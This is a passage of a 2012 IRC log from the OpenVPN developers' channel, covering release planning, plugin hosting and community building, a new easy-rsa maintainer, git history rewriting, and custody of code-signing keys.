configuration change as well 10:56 < alonbl> if it will make you feel better, maybe disable this by default? 10:56 <@dazo> openvpn has a good rumour when it comes to stability ... we shouldn't take that lightly 10:56 <@dazo> yes, we can move it to disabled by default in v2.4, I agree to that 10:57 < alonbl> stability and compatibility are different... 10:57 < alonbl> we can perform a test... let's disable this in alpha2... see who complains... :) 10:57 <@dazo> true, but both are equally important 10:57 <@dazo> heh ... I'm afraid too few tests the alpha releases ... 10:58 < alonbl> I don't think they are equally important... compatibility with announcement is fine if people are cooperating. 10:58 < alonbl> If there are too few testers we end up with unstable... 10:58 <@dazo> fair point 10:59 <@dazo> With the 2.2 cycle, we first got a lot of build issue bugs on the final release ... which we solved in 2.2.1 11:00 <@dazo> that's the experience .... I agree, we would need more testers who would dare test the alpha and master code .... but we can't force them 11:00 < alonbl> we should expect the same as far as build is concerned. 11:00 < alonbl> I think that people do read the announcements even if not building... 11:01 <@dazo> yeah, I think so too ... but I'd say with the buildbot, and ecrist, cron2 and mattock and you bashing on it ... 2.3 will be better tested in regards to builds than 2.2 ever was 11:01 <@dazo> I just *hope* they read it ... and I've been hanging out on #openvpn since 2008/2009-ish ... and it turns out many don't even read the man pages :/ 11:02 <@dazo> Some even barely read their own log files ... which screams out "ERROR" and "WARNING" .... and they wonder why it doesn't start 11:03 < alonbl> do you differentiate between plugin developers and "the others"? 11:05 <@dazo> I'm not sure I understand your question? 11:06 < alonbl> I thought that maybe plugin developers are more interested in tracking... 11:06 < alonbl> Anyway, ok, I am find in disabling this at 2.4 by default... better later than never... 11:07 <@dazo> I don't have much overview over plug-in developers at all ... it's not a known separate plug-in community afaik ... 11:07 <@dazo> If it does, I haven't been invited ;-) 11:08 < alonbl> this is the reason I would like to host most of known plugins at the openvpn project... this will help to create the community. 11:09 < alonbl> and as example maintain our own plugin as if we were yet another plugin maintainer... 11:09 <@dazo> I don't necessarily think that will really change it ... as in the moment you have a plug-in interface, each plug-in developer has a choice to join the openvpn community or build up his/hers own 11:10 <@dazo> The reason I got involved initially, was that I needed the tls_digest_ support ... v2.1 was not even released ... and no such feature existed at all 11:11 < alonbl> right, as the community is focused on what in specific repository boundaries.... not to integrate the whole market. 11:11 <@dazo> if openvpn would have had that variable to start with, I would probably never have thought of getting much more involved in openvpn than I am now 11:12 < alonbl> I was involved as smartcard usage was mandatory to use vpn and I wanted to move to Linux :) 11:12 <@dazo> I think that the better approach would be to have, as you say, a market ... which the "related projects" wiki is kind of a tiny-tiny start of 11:12 <@dazo> an overview over what exists for openvpn 11:13 <@dazo> If openvpn would have hosted plug-ins separately ... It wouldn't really cross my mind to host my plug-in there at all 11:14 <@dazo> but ... pkcs11 support ... yeah, that's a cool way to get involved, indeed :) 11:14 < alonbl> well, I think we can do this in reverse... first invite all known plugin author to maintain their project at same place, helping to setting up a proper build and interaction, help in packaging etc... then discussing what next. 11:14 < alonbl> why it wouldn't cross your mind to add your own plugin to an active project? why do you maintain a plugin separately? 11:16 < alonbl> if we take opensc as an example andreas (which was the project maintainer) invited all hw crypto related project maintainer to host their software there. 11:16 <@dazo> because I don't think it matters of where you host it when you build up a community ... what's needed is a market place where you can distribute information about your project 11:16 < alonbl> but this he created a healthy community, at the end we all helped also in the core. 11:17 < alonbl> right, and the market place is the openvpn project, because of this it *is* important where you host your component. 11:17 <@dazo> Well, I disagree to "host" ... it's important where you *market* your project 11:17 <@dazo> or component 11:18 < alonbl> if you don't "host" you don't participate (you don't give only take). 11:19 <@dazo> that's what sf.net and freshmeat.net primarily are ... just as the application repositories in all distros ... they are not hosted on the same place 11:19 <@dazo> but the projects are hosted all over the "world" 11:19 < alonbl> no... they are generic hosting... different story. 11:20 <@dazo> but it's a marketplace where you know you can go when searching for software 11:20 < alonbl> a community that has something in common can interact... two separate different projects of sf.net has nothing to do with each other. 11:20 < alonbl> a simple action like sharing the mailing list have a huge impact on cooperation. 11:20 <@dazo> agreed 11:21 < alonbl> so there is a meaning of hosting your project. 11:21 < alonbl> think of auth-radious plugin is at OpenVPN organization in git, and supports its users via openvpn-user, openvpn-devel, it is a greate benefit to all. 11:21 <@dazo> there are parts where sharing services might make sense, like mailing lists, IRC channels, forums ... but it doesn't matter where the source code is hosted, for example 11:22 < alonbl> yes it is, as when someone analyize the openvpn project and open the http://github.com/OpenVPN and see all the activity at one place he feels better about the community. 11:22 <@vpnHelper> Title: OpenVPN · GitHub (at github.com) 11:23 <@dazo> So you don't think that an overview ("marketplace") like this gives the same feelings? https://community.openvpn.net/openvpn/wiki/RelatedProjects 11:23 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 11:23 <@dazo> (that's it's a vibrant and alive community) 11:25 < alonbl> yes, I think there is a huge difference between a page that reference parties that are interested to be advertized and a place in which parties cooperate. 11:28 <@dazo> okay, I don't really see the difference as much as you ... but I'm fine with agreeing to that we have different opinions about it ... I will gladly change my opinion if I'm wrong, but I am not able to really see that it makes that much a difference 11:30 <@dazo> I just know that I see a lot of Linux distributions, having their own groups of communities with shared interests ... where all is hosted "wherever", and it does expand and are very much alive most of the places 11:31 < alonbl> if you evaluating openvpn and go to the wiki and see related project, each developed at different location, has its own resources, documents are in their own format, builds are different what do you think of it compared to a community that produces similar functionality but much more integrated in term of the "look and feel"? 11:31 < alonbl> I don't think linux distribution is a good example... anyway the distribution it-self is also maintained at one place... 11:32 <@dazo> I think that it's up to each project to figure out what kind of "look and feel" they want 11:32 < alonbl> for example as gentoo developer there were strict procedure of how maintainance should be, and it was correct. 11:33 <@dazo> I'm maintaining a handful of Fedora packages, and it's the same structure there as well ... but the software itself isnt' hosted in the Fedora infrastructure, just the .spec files and the compiled binaries - the rest is pointers to upstream 11:33 < alonbl> right, it up to each project, but if people are working together they learn from each other and magically their output imrpoves to a balance that is better than each individual. for example Samuli can help with documentation, I can help with build and packages other may help in other fields, this is how you build a community. 11:34 <@dazo> And from what I know Gentoo (I've been a Gentoo user since 2005-ish too) ... it's pretty much the same there as well ... you have the ebuilds repository, with their "rules" on how things should be ... and yes, that is right to do in that perspective 11:35 < alonbl> the proper comparisation is openvpn to fedora not the 3rd party projects. better is to compare it to kde community or xorg community in this sense. 11:35 < ecrist> what are we arguing about today? 11:36 <@dazo> ecrist: Needed ingredients to build a healthy community 11:37 < ecrist> certainly more cowbell 11:37 < ecrist> can never have enough of that 12:04 -!- raidz_afk is now known as raidz 14:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:51 <+krzee> ecrist, i agree... 14:51 <+krzee> definitely more cowbell 14:51 < ecrist> OpenVPN 2.3, now with more cowbell. 14:52 <+krzee> guys, thats eric crist 14:52 <+krzee> if he says he wants more cowbell i say we give him more cowbell 14:56 < ecrist> lol 14:56 <@dazo> lol 14:57 < ecrist> krzee: found a bug in freeswitch/spandsp 14:57 < ecrist> it doesn't ever close file handles 14:57 <@dazo> krzee: I dunno about *nix ... but I'm sure d12fk can implement something in the Windows gui .... and mattock something with the Windows installer ;-) 14:57 <+krzee> eeeeeever!? 14:57 < ecrist> krzee: eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeVAR 14:57 <+krzee> surprising bug for freeswitch 14:58 < ecrist> I've been notices nfs file handles all over the place in our fax process dir 14:58 < ecrist> so, I checked lsof 14:58 < ecrist> 8,964 open handles to fax files we've sent the past 30 days 14:58 <+krzee> did you git head too? *g* 14:59 < ecrist> heh 14:59 < ecrist> we're running git head from 30 days ago... 15:01 <+krzee> i think it was broken on fbsd for a bit, but mcrane recently fixed some stuff on that 15:01 <+krzee> ive gotten to know the fbsd fs guys in the last couple months 15:01 <+krzee> been helping rneese with making his scripts nicer 15:12 < ecrist> He's enthusiastic, but I can't stand that guy. 15:12 < ecrist> I was helping him manage the ports, and I finally just gave up 15:15 <+krzee> oh i didnt know you stopped 15:15 <+krzee> do we still mirror it? 15:16 < ecrist> no, we've stopped mirroring it, as well 15:16 <+krzee> shows how much i been paying attention ;] i dont think ive even logged into that mirror box in hella montha 15:16 <+krzee> months* 15:18 < ecrist> ecrist@xxx:~-> uname -a 15:18 < ecrist> FreeBSD xxx.ircpimps.org 9.0-RELEASE 15:20 -!- dazo is now known as dazo_afk 16:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:19 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 260 seconds] 17:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:33 -!- novaflash is now known as novaflash_away 20:32 -!- raidz is now known as raidz_afk 23:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 23:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu May 17 2012 01:47 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 03:43 -!- novaflash_away is now known as novaflash 10:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 11:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 12:04 < ecrist> sometimes, I really fucking hate the freeswitch devs 12:04 < ecrist> today is one of those 12:09 -!- raidz_afk is now known as raidz 12:13 <+krzee> they dont care bout your bug cause its freebsd? 12:47 -!- trout is now known as const 13:17 < ecrist> no, they refuse to look at anything but git head 14:09 < ecrist> that being said, I've built freeswitch on freebsd enough, it's an easy process at this point. 14:12 -!- Netsplit *.net <-> *.split quits: @vpnHelper 14:13 -!- Netsplit over, joins: @vpnHelper 14:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:53 -!- Netsplit *.net <-> *.split quits: @vpnHelper 14:54 -!- Netsplit over, joins: @vpnHelper 17:53 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 248 seconds] 20:05 -!- raidz is now known as raidz_afk 20:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri May 18 2012 02:21 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 03:27 <@mattock> what do you think about announcing the easy-rsa subproject on openvpn-user list? perhaps somebody would 03:27 <@mattock> be interested in becoming the primary maintainer for it... 03:27 <@mattock> it's well isolated from OpenVPN, and would not require extensive C-fu 04:05 <@d12fk> krzee: what was that about: 04:05 <@d12fk> [Wed. 16.05.2012 20:54] <dazo> krzee: I dunno about *nix ... but I'm sure d12fk can implement something in the Windows gui .... and mattock something with the Windows installer ;-) 04:06 <@mattock> krzee: yeah, what do I need to do now? :P 04:06 <@d12fk> maybe cowbell sound while connected?! 04:09 <@mattock> connected to what? 04:09 <@mattock> I'm intrigued 04:53 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 04:53 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:37 <+krzee> LOL 07:38 <+krzee> http://www.youtube.com/watch?v=z0uvVZg4Tw4 07:38 <@vpnHelper> Title: blue oyster cult/chris walken original more cowbell - YouTube (at www.youtube.com) 07:38 <+krzee> it was decided that we need more cowbell! 08:00 <+krzee> mattock, 08:00 <+krzee> we need easy-rsa maintainer? 08:01 < ecrist> I'd be happy to maintain it right into the trash 08:01 <+krzee> im quite good in bash, and would be happy to make it suck less 08:03 -!- lvp [~lpressl@193.175.27.39] has joined #openvpn-devel 08:04 < lvp> hello 08:05 <+krzee> ohai 08:07 < lvp> Am I supposed to create trac account and report bug there or send to a list? https://community.openvpn.net/openvpn/wiki/TesterDocumentation#Reportingbugs is not clear in this regard 08:07 <@vpnHelper> Title: TesterDocumentation – OpenVPN Community (at community.openvpn.net) 08:07 < ecrist> trac account + bug 08:11 < alonbl> krzee: the spin off provides new opportunities, it will be great to see some activity on the easy-rsa front as well. can you outline some of your ideas? I am more mailing list oriented... 08:13 <+krzee> !git 08:13 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, relax: 08:13 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 08:14 <+krzee> hmm, ill start looking after i find the latest version in git 08:14 <+krzee> i havnt looked at easy-rsa in a long long time, since i stopped using it 08:15 < alonbl> http://github.com/OpenVPN/easy-rsa 08:15 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com) 08:15 <+krzee> github? o.O 08:15 < alonbl> If you don't use easy-rsa why do you want to maintain it? 08:15 <+krzee> cause i dont use it due to it sucking, and since i only know shellscripts its a way for me to contribute to this fine project 08:16 <+krzee> i also wrote: 08:16 <+krzee> !confgen 08:16 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ 08:17 < alonbl> well, it will be nice. I don't think it is so unusable... but I love to get some new ideas... I think that mainly it needs to produce PKCS#12, and CRL management should be better. Also we need to get rid of the legacy ns certificate attributes... 08:18 <+krzee> it could also have a nice lil interface that walks one through the process, like my bash confgen 08:18 <+krzee> take a look ^^' 08:19 < alonbl> oh... well... maybe that's true... I am more like command-line kind of guy.... but maybe far away from the easy-rsa target audience. 08:19 <+krzee> well you would be fine with openssl anyways :-p 08:19 <+krzee> easy-rsa was made for those who would not be 08:20 <+krzee> (i mean openssl(8) ) 08:24 < alonbl> right... :) 08:42 <+krzee> anyways, im scripting up a mass phone provisioner which i need to finish today or my partner gets to waste 5 hours of his day instead of 20 provisioning voip phones today 08:42 <+krzee> when im done with that ill take a look at easy-rsa 08:42 <+krzee> 20min * 09:14 <@vpnHelper> RSS Update - tickets: #209: 2.3: options not pushed sucessfully in server mode after client restart <https://community.openvpn.net/openvpn/ticket/209> 09:17 < lvp> ok, https://community.openvpn.net/openvpn/ticket/209 created 09:17 <@vpnHelper> Title: #209 (2.3: options not pushed sucessfully in server mode after client restart) – OpenVPN Community (at community.openvpn.net) 09:20 * ecrist looks 09:21 < ecrist> did you mean x86_64? 09:21 < ecrist> I'm not familiar with x64_64 09:23 < ecrist> lvp? 09:28 < lvp> sorry, yes.. sure 09:29 < ecrist> ok, just trying to eliminate confusion 09:31 < lvp> thanks 09:46 <+krzee> verb 4 would show the problem better 09:46 <+krzee> without all the read/writes getting in the way, or if they are desired then verb 5 would still do it 09:49 -!- Netsplit *.net <-> *.split quits: @vpnHelper 09:50 -!- Netsplit over, joins: @vpnHelper 11:18 -!- Netsplit *.net <-> *.split quits: RubyPanther 11:19 -!- Netsplit over, joins: RubyPanther 12:38 -!- raidz_afk is now known as raidz 16:20 -!- lvp [~lpressl@193.175.27.39] has quit [Quit: Hmmm. EPIC4-2.10 (769) has another bug. Go figure...] 17:18 <@vpnHelper> RSS Update - tickets: #210: openvpn-2.2.2-install.exe does not create config and log directories <https://community.openvpn.net/openvpn/ticket/210> 18:01 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 250 seconds] 18:39 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 18:44 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 245 seconds] 20:07 -!- raidz is now known as raidz_afk 20:08 -!- novaflash is now known as novaflash_away --- Day changed Sat May 19 2012 00:33 <+krzee> booya my script worked! 00:33 <+krzee> 10 phones 100% setup automatically in less time than 1 would have taken the old way 02:37 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 03:09 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 244 seconds] 08:11 -!- novaflash_away is now known as novaflash 09:40 -!- GGD [~deberle@pool-173-72-205-188.clppva.fios.verizon.net] has joined #openvpn-devel 09:43 < GGD> !meetings 09:43 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 10:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 10:31 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 10:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:40 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Quit: Konversation terminated!] 12:45 -!- GGD [~deberle@pool-173-72-205-188.clppva.fios.verizon.net] has left #openvpn-devel [] 13:29 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 15:40 <+krzee> you know you're sick as hell when you start downloading xcode (1.9G) on a connection with 30kb/s down… just so you can install git via macports… when you already have git on a virtual machine *facepalm* 15:40 <+krzee> kB/s* 16:47 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Quit: Konversation terminated!] 17:09 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 17:32 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 252 seconds] 21:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 22:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun May 20 2012 09:17 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 11:44 -!- alonbl_ [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 11:45 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 276 seconds] 17:19 <@vpnHelper> RSS Update - wishlist: Porting of Open VPN to AROS <http://forums.openvpn.net/topic10579.html> 17:21 -!- alonbl_ [~alonbl@unaffiliated/alonbl] has quit [Quit: Konversation terminated!] 22:15 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 22:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon May 21 2012 01:14 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 01:41 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 250 seconds] 05:46 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 05:50 <@dazo> alonbl: Hey! I've been poking on your git repos for easy-rsa and wintap ... how did you create them? 05:50 < alonbl> Hi, 05:50 <@dazo> I see that the git history has been modified somewhat 05:50 < alonbl> I cloned the openvpn repository and removed the content. 05:51 <@dazo> (the commit SHAs differ in the history) 05:51 < alonbl> no... the history should be intact... 05:51 < alonbl> oh... maybe this is side effect of the filter? 05:51 <@dazo> Yeah, I wonder about that 05:52 < alonbl> I used something like: http://dalibornasevic.com/posts/2-permanently-remove-files-and-folders-from-a-git-repository 05:52 <@vpnHelper> Title: Permanently remove files and folders from a git repository - Dalibor Nasevic (at dalibornasevic.com) 05:52 <@dazo> "one by one change the commit objects and rewrite the entire tree." 05:52 <@dazo> yeah, that actually rewrites the history completely 05:52 < alonbl> is the sha1 important? 05:53 <@dazo> there are references in the commit history to other commits .... which completely breaks this way ... anyhow, I now remember we discussed this in a developers meeting a long while ago ... I'll pick up that thread again - I know should do something about this 05:54 <@dazo> the SHAs provide a security of the patch history ... if you have 5 commits, and modify the 3 commit later on ... all commits SHAs after that 3rd commit will be modified, as it's a new "branch" 05:55 < alonbl> yes... but when we split repository we can start over... or you want to leave the repository with the openvpn objects? 05:56 * dazo finds the meeting minutes from the discussions of those new git trees 05:56 < alonbl> I don't think leaving the openvpn objects for ever as deleted object is something that worth the overhead. 05:56 <@dazo> I remember we considered different approaches 05:56 < alonbl> hmmm... I don't remember we discussed approaches :( 05:56 <@dazo> and I know James wanted the history for the TAP driver to be consistent, to be able to trace back the complete history for that ... for easy-rsa - it was no need, iirc 05:57 < alonbl> but the history is intact... only the sha1 may have been changed. 05:58 <@dazo> yeah, but when the sha1's change ... you cannot confirm the real authenticity of the history, that's the issue ... when you compare against the openvpn.git tree where it comes from 05:58 * dazo looks for the discussion again 05:59 < alonbl> if you don't trust my process, simply do this your-self and confirm the tree as "trusted". 06:00 <@dazo> I don't mean to hurt you any way ... I appreciate what you've done ... and I'm not thinking about it as I don't trust you. In fact, I want also my work to be in a shape that my work can be verified as authentic as well ... 06:01 <@dazo> the authenticity shouldn't be based upon who did the work, but the full collaboration of all who have been involved - with a way to verify it 06:01 <@dazo> (which is where SHA's provide a good way how to validate that) 06:02 < alonbl> I don't think *ANYONE* uses the sha1 for this purpose, it was just distributed way to do revision without conflict. This is actually how git solved the distributed nature. 06:02 < alonbl> If you want to use the sha1 as anything like authenticity please do... just provide a proper tree, we will roll over the patches later. 06:02 <@dazo> Linus designed it this way, for exactly this purpose ... to be able to check if the history had been changed/modified 06:03 <@dazo> (I think he even speaks about it in a Google Talk video, iirc) 06:04 <@mattock> dazo: how about a meeting this week? 06:04 <@mattock> looking better? 06:04 <@dazo> mattock: yeah, all important tasks I have is to be done by Wednesday ... so this week is definitely far better 06:05 <@mattock> ok, it'd be nice to get the remaining minor fixes to 2.3 and push 2.3-alpha2 out 06:05 <@dazo> Agreed!!! 06:05 <@mattock> I'll try to get reach Andrew today evening to get the code-signing keys to us a.s.a.p. 06:06 <@mattock> not sure how long it takes for them to be "delivered"... if more than a few days, then I'll probably have to pressure 06:06 <@mattock> James to sign and/or build the TAP-drivers himself for 2.3-alpha2 06:06 <@dazo> Makes sense 06:06 <@mattock> and the release after that could be properly signed (executable, tap-driver, installers, libraries, etc.) 06:07 <@mattock> also, James gave his approval on sharing the code-signing keys with key members of the community 06:07 < alonbl> dazo: I don't think it worth the effort, a simple diff and deceleration of the new tree will do the same trick. 06:07 <@mattock> i.e. those that need code-signing 06:07 < alonbl> mattock: these are great news! I guess you will be that member :) 06:08 <@mattock> one of them, yes 06:08 * dazo is happy if mattock is that person 06:08 <@mattock> yeah, but we can select who we want to have the keys 06:08 * dazo don't want to touch that kind of stuff, if he can avoid it 06:08 <@mattock> for example, if we get somebody to maintain easy-rsa, and we want a (signed) windows installer for it, we can give the 06:09 <@mattock> keys to that person (if we trust him/her enough) 06:09 <@mattock> or the same for the tap-driver 06:09 < alonbl> mattock: no!!!! 06:09 <@mattock> :D 06:09 <@mattock> care to elaborate 06:09 <@mattock> ? 06:09 < alonbl> the keys should be at the hands of the release manager... 06:10 <@dazo> alonbl++ 06:10 < alonbl> or you are talking about the pgp keys? 06:10 <@mattock> nope, code-signing keys 06:10 <@mattock> that was an option 06:10 < alonbl> the singing keys should be at whoever actually releases the installer. 06:10 < alonbl> easy-rsa is unrelated... 06:10 <@mattock> yeah, agreed 06:11 < alonbl> we have two installers... the tap and the openvpn... both you can handle the release process (build). 06:11 <@mattock> yeah, I can do the signing, no problem at this point 06:13 <@dazo> mattock: you've forgotten to make a meeting summary of the meeting we had March 29 06:13 < alonbl> dazo: so what are we going to do with the tap-windows, easy-rsa repositories? 06:13 <@mattock> mmm... 06:13 <@mattock> dazo: could be 06:13 <@mattock> I'll check 06:13 <@dazo> alonbl: I finally found the meeting where this was discussed ... so I'll read through that and see what we agreed upon 06:17 <@mattock> dazo: yeah, I apparently forgot to summarize the meeting on 29th for some reason... I'll see if it's in my chatlog 06:18 <@mattock> but lunch first... 06:18 <@dazo> mattock: if you don't have the log ... I have it 06:18 <@mattock> ok, excellent! 06:32 < alonbl> dazo: If I am not wrong, the only way to keep the sha1 is to keep the objects. but it is fanny, as you have proper old sha1, but at 1st commit you can introduce every change you like... making the history redundant. 06:33 < alonbl> so if I understand this correctly, when split a repository you can sign using your pgp key the sha1 of the old repository and the sha1 of the base of the HEAD of the new repository after you perform diff. this should be more than enough. 11:34 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 12:12 -!- raidz_afk is now known as raidz 13:14 < ecrist> this seems interesting: http://www.mentby.com/Group/openvpn-users/bufferbloat-in-the-tunnel.html 13:14 <@vpnHelper> Title: bufferbloat in the tunnel - OpenVPN Users (at www.mentby.com) 13:16 < ecrist> ah, JJK is already on it 13:21 < ecrist> heh, so is mattock 13:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:24 -!- dazo is now known as dazo_afk 16:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:35 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Read error: Operation timed out] 20:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 20:17 -!- raidz is now known as raidz_afk 20:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:23 < ecrist> ping dazo - you around? --- Day changed Tue May 22 2012 00:59 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 07:21 -!- dazo_afk is now known as dazo 07:22 <@dazo> ecrist: yeah, I am 07:23 <@dazo> (but not 05:20am :-P) 12:19 -!- raidz_afk is now known as raidz 13:30 <@dazo> ecrist: did you wonder about anything? 13:33 < ecrist> ah, yes, pm? 14:44 -!- dazo is now known as dazo_afk 15:49 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 252 seconds] 20:02 -!- raidz is now known as raidz_afk 21:10 -!- Netsplit *.net <-> *.split quits: const, @mattock, +krzee, uuuppz, @raidz_afk, EvilJStoker, @dazo_afk, @cron2, @vpnHelper, maxb, (+2 more, use /NETSPLIT to show all of them) 21:10 -!- Netsplit *.net <-> *.split quits: coderrr, @andj, novaflash, @d12fk 21:21 -!- Netsplit over, joins: @vpnHelper, +krzee, @dazo_afk, RubyPanther, @cron2, @raidz_afk, @mattock, const, maxb, uuuppz (+6 more) 21:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 245 seconds] 21:25 -!- Netsplit *.net <-> *.split quits: const, @mattock, +krzee, uuuppz, coderrr, @raidz_afk, @dazo_afk, @cron2, @vpnHelper, maxb, (+5 more, use /NETSPLIT to show all of them) 21:30 -!- Netsplit over, joins: @vpnHelper, +krzee, @dazo_afk, RubyPanther, @cron2, @raidz_afk, @mattock, const, maxb, uuuppz (+5 more) 21:50 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 22:49 -!- Netsplit *.net <-> *.split quits: const, @mattock, +krzee, uuuppz, coderrr, @raidz_afk, EvilJStoker, @dazo_afk, @cron2, @vpnHelper, (+6 more, use /NETSPLIT to show all of them) 22:55 -!- Netsplit over, joins: EvilJStoker, @vpnHelper, +krzee, @dazo_afk, RubyPanther, @cron2, @raidz_afk, @mattock, const, maxb (+6 more) 23:15 -!- novaflash is now known as novaflash_away 23:16 -!- novaflash_away is now known as novaflash 23:26 -!- novaflash is now known as novaflash_away --- Day changed Wed May 23 2012 02:31 -!- novaflash_away is now known as novaflash 02:49 <@mattock> fun fact: --gremlin option can be used to corrupt packets intentionally: 02:49 <@mattock> http://openvpn.net/archive/openvpn-users/2003-10/msg00038.html 02:49 <@vpnHelper> Title: Re: [Openvpn-users] OpenVPN tunnel corruption (at openvpn.net) 03:05 <+krzee> lol nice 03:08 <@mattock> probably that should be on the man-page 03:09 <@mattock> it's not atm 03:11 <+krzee> i love the name 03:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 03:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:14 <@mattock> yeah, I noticed that when restarting an openvpn instance: "gremlin = UNDEF" or something 04:14 <@mattock> had to google to see what the heck it is 04:54 -!- dazo_afk is now known as dazo 06:55 -!- dazo is now known as dazo_afk 07:32 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 07:56 < ecrist> that's great 12:03 -!- raidz_afk is now known as raidz 14:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:12 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 260 seconds] 15:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 18:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 19:09 -!- krzee 